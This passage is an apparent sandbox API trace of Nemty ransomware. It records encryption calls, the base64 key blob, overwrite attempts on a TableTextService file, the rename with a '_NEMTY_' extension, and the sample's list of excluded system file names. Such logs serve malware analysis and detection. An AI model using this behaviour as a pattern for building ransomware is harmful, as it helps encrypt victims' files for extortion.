(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedZhengMa.txt", lpUsedDefaultChar=0x0) returned 37 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f940e0 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedZhengMa.txt", lpUsedDefaultChar=0x0) returned 37 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedZhengMa.txt", lpUsedDefaultChar=0x0) returned 37 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedZhengMa.txt", lpUsedDefaultChar=0x0) returned 37 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94088 [0108.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94140 | out: hHeap=0x4f90000) returned 1 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94140 [0108.185] Sleep (dwMilliseconds=0x5) [0108.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf42385b0, dwHighDateTime=0x1d561e7)) [0108.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf42385b0, dwHighDateTime=0x1d561e7)) [0108.199] GetLastError () returned 0x5 [0108.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.199] GetLastError () returned 0x5 [0108.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.200] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941f8 [0108.200] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941f8, pcchString=0x653ef9c | out: pszString="jfzEfGpNAV7fOBnpq02f0r0XyoGpFRcE+7zzkqGQJGlZRpplN7C3sKMfdiGUMun+\r\nh9dpnCdY2dP+lbVCPQQt2t7Qxf7/Nz/OCrCwFd9WRpGjadsLPEQG6bZixg607HoZ\r\nG655U1eJEnEZUXOvRys774/FTr5J9xhMYgTZoCAqdk8qHtvPixUkohx7kU4qwwws\r\nkggCjZgVlM1JIRXOcTrZWMNXAJ865dBtlK05zRKeXIMEMXgHp/lWzsWwaF1wbJLf\r\nhnwVjJNHpDyqUpUALuiFFppg5a1jFxiIPyKV//7lmxIMqmMCjfCKWLbH7V4fHcD/\r\nPL71wDdYkQ+ZepdieNXKww==\r\n", pcchString=0x653ef9c) returned 1 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0108.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941f8 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.200] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.200] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.306] CloseHandle (hObject=0xffffffff) returned 0 [0108.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0108.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0108.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0108.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt._nemty_kgobjgd_")) returned 0 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94140 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.307] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="...") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="windows") returned -1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="rsa") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="NTDETECT.COM") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="ntldr") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="MSDOS.SYS") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="IO.SYS") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="boot.ini") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="boot.ini") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="AUTOEXEC.BAT") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="ntuser.dat") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="desktop.ini") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="CONFIG.SYS") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="RECYCLER") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="BOOTSECT.BAK") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="bootmgr") returned 1 [0108.307] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="programdata") returned 1 [0108.308] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="appdata") returned 1 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceYi.txt", lpUsedDefaultChar=0x0) returned 22 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceYi.txt", lpUsedDefaultChar=0x0) returned 22 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, 